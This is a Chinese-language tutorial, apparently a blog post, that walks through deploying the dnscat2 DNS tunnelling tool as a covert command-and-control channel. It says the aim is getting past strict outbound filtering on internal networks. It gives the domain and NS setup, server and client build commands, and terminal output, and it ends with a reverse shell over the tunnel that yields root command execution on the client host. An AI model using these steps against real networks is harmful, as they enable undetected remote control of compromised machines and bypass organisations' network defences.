一、介绍

1、简介

dnscat2是一款开源软件，使用DNS协议创建加密的C&C通道，通过预共享密钥进行身份验证；使用shell及DNS查询类型（TXT、MX、CNAME、A、AAAA），多个同时进行的会话类似于SSH中的隧道。

2、分类

直连模式：客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式：DNS经过互联网的迭代解析，指向指定的DNS服务器。速度相对直连模式较慢

3、应用场景

在安全策略严格的内网环境中，常见的C&C通信端口会被众多安全设备所监控，该网段只允许白名单流量出站，同时其他端口都被屏蔽，传统的C&C通信无法建立。这种情况下，可以通过使用DNS建立隐蔽隧道来进行通信

二、配置

1、部署域名解析

```
# 前置知识
```

使用一台公网的Linux系统的VPS作为C&C服务器（53端口开放），并准备好一个可以配置的域名。首先创建记录A，将自己的域名 www.xxx.com 解析到VPS服务器地址。然后创建NS记录，将ns2.xxx.com 指向www.xxx.com

验证域名A类解析情况：
在任意电脑上ping域名，若ping通，且ipd地址显示为刚刚配置的VPS地址，说明第一条A类解析设置成功并生效

```
C:\Users\      >ping www.      .com

正在 Ping www.      .com [180.76.172.197] 具有 32 字节的数据:
来自                的回复: 字节=32 时间=72ms TTL=47
来自                的回复: 字节=32 时间=84ms TTL=47
来自                的回复: 字节=32 时间=65ms TTL=47
来自                的回复: 字节=32 时间=63ms TTL=47

180.76.172.197 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 63ms, 最长 = 84ms, 平均 = 71ms
```

验证域名NS类解析情况：

在VPS监听UDP53端口 "tcpdump -n -i eth0 udp dst port 53"

在任意电脑上执行 "nslookup ns2.xxx.com"

如果有VPS监听的端口有查询信息，说明NS解析配置成功

```
C:\Users\      >nslookup ns2.      .com
服务器:  UnKnown
Address:  fe80:      93ff:fea0:dc16

DNS request timed out.
    timeout was 2 seconds.
DNS request timed out.
    timeout was 2 seconds.
*** UnKnown 找不到 ns2.      com: Server failed
```

```
root@buzz:~# tcpdump -n -i eth0 udp dst port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
20:04:08.140213 IP 192.168.0.4.34161 > 192.168.0.2.53: 34421+ AAAA? bcm.baidubce.com. (34)
20:04:08.140787 IP 192.168.0.4.57361 > 192.168.0.3.53: 60454+ A? bcm.baidubce.com. (34)
20:04:08.146177 IP 192.168.0.4.40555 > 192.168.0.2.53: 62357+ AAAA? bcm.baidubce.com. (34)
20:04:08.146471 IP 192.168.0.4.43754 > 192.168.0.3.53: 59479+ A? bcm.baidubce.com. (34)
20:04:13.394708 IP 61      69.56830 > 192.168.0.4.53: 50886% [1au] A? ns2.      com. (54)
20:04:13.422558 IP 61      58.41035 > 192.168.0.4.53: 2996 [1au] A? ns2.      com. (54)
20:04:13.449452 IP 61      85.44899 > 192.168.0.4.53: 37487% [1au] AAAA? ns2      .com. (54)
20:04:14.249856 IP 61      85.58614 > 192.168.0.4.53: 4702% [1au] AAAA? ns2.      .com. (54)
20:04:15.049913 IP 6       85.56749 > 192.168.0.4.53: 14283 AAAA? ns2.      com. (31)
20:04:16.650105 IP 6       85.37259 > 192.168.0.4.53: 36765 AAAA? ns2.      .com. (31)
20:04:19.850633 IP 61      85.52784 > 192.168.0.4.53: 57361 AAAA? ns2.      .com. (31)
```

2、安装dnscat2服务端

```
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
```

```
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan# git clone https://github.com/iagox86/dnscat2.git
Cloning into 'dnscat2'...

fatal: unable to access 'https://github.com/iagox86/dnscat2.git/': GnuTLS recv error (-110): The TLS
connection was non-properly terminated.
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan#
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan# git clone https://github.com/iagox86/dnscat2.git
Cloning into 'dnscat2'...
remote: Enumerating objects: 6617, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 6617 (delta 0), reused 2 (delta 0), pack-reused 6607
Receiving objects: 100% (6617/6617), 3.84 MiB | 8.29 MiB/s, done.
Resolving deltas: 100% (4564/4564), done.
```

```
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan# cd dnscat2/server/
```

```
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan/dnscat2/server# gem install bundler
Fetching bundler-2.3.15.gem
Fetching bundler-2.3.15.gem
Successfully installed bundler-2.3.15
Parsing documentation for bundler-2.3.15
Installing ri documentation for bundler-2.3.15
Done installing documentation for bundler after 0 seconds
1 gem installed
```

```
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan/dnscat2/server# bundle install
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as
root will break this application for all non-root users on this machine.
Fetching gem metadata from https://rubygems.org/........
Using bundler 2.3.15
Fetching ecdsa 1.2.0
Installing ecdsa 1.2.0
Fetching salsa20 0.1.1
Installing salsa20 0.1.1 with native extensions
Fetching sha3 1.0.1
Installing sha3 1.0.1 with native extensions
Fetching trollop 2.1.2
Installing trollop 2.1.2
Bundle complete! 4 Gemfile dependencies, 5 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
```

3、安装dnscat2客户端

```
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
```

```
┌──(root㉿A)-[~]
└─# git clone https://github.com/iagox86/dnscat2.git
正克隆到 'dnscat2' ...
remote: Enumerating objects: 6617, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 6617 (delta 0), reused 2 (delta 0), pack-reused 660
7
接收对象中: 100% (6617/6617), 3.84 MiB | 2.28 MiB/s, 完成.
处理 delta 中: 100% (4564/4564), 完成.

┌──(root㉿A)-[~]
└─# cd dnscat2/client/

┌──(root㉿A)-[~/dnscat2/client]
└─# make
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g   -c -o controller/packet.o controller/packet.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g   -c -o controller/session.o controller/session.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g   -c -o controller/controller.o controller/controller.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g   -c -o drivers/driver.o drivers/driver.c
cc -c --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-se
curity -g -o drivers/command/driver_command.o drivers/command/dri
ver_command.c
```

4、测试连通性

```
./dnscat --ping ns2.xxx.com
由于解析规则没有配置好，这里出了错
```

```
┌──(root㉿A)-[~/dnscat2/client]
└─# ./dnscat --ping ns2.[redacted].com
Creating a ping session!
Creating DNS driver:
 domain = ns2.[redacted].com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.174.2
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
```

三、中继模式

1、服务端监听

```
ruby ./dnscat2.rb ns2.xxx.com --secret=123456
```

```
root@buzz:/home/dnscat2/server# ruby ./dnscat2.rb ns2.[redacted]com --secret=123456

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = ns2.[redacted].com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=123456 ns2.[redacted].com

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=123456

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
```

2、客户端连接

```
./dnscat --secert=123456 ns2.xxx.com
```

```
┌──(root㉿A)-[~/dnscat2/client]
└─# ./dnscat --secret=123456 ns2.[redacted].com
Creating DNS driver:
 domain = ns2.[redacted].com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.174.2

** Peer verified with pre-shared secret!
```

```
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
```

3、执行命令

```
查看会话：sessions
```

```
dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns2.zhseu.com [*]
  1 :: command (A) [encrypted and verified] [*]
```

进入指定会话：session -i 1（目标如果为windows，用windows -i 1）

```
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
```

反弹shell：

```
shell
session -i 5
id
```

```
command (A) 1> shell
Sent request to execute a shell
command (A) 1> New window created: 5
Shell session created!
session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (A) 5> id
sh (A) 5> 用户id=0(root) 组id=0(root) 组=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)
```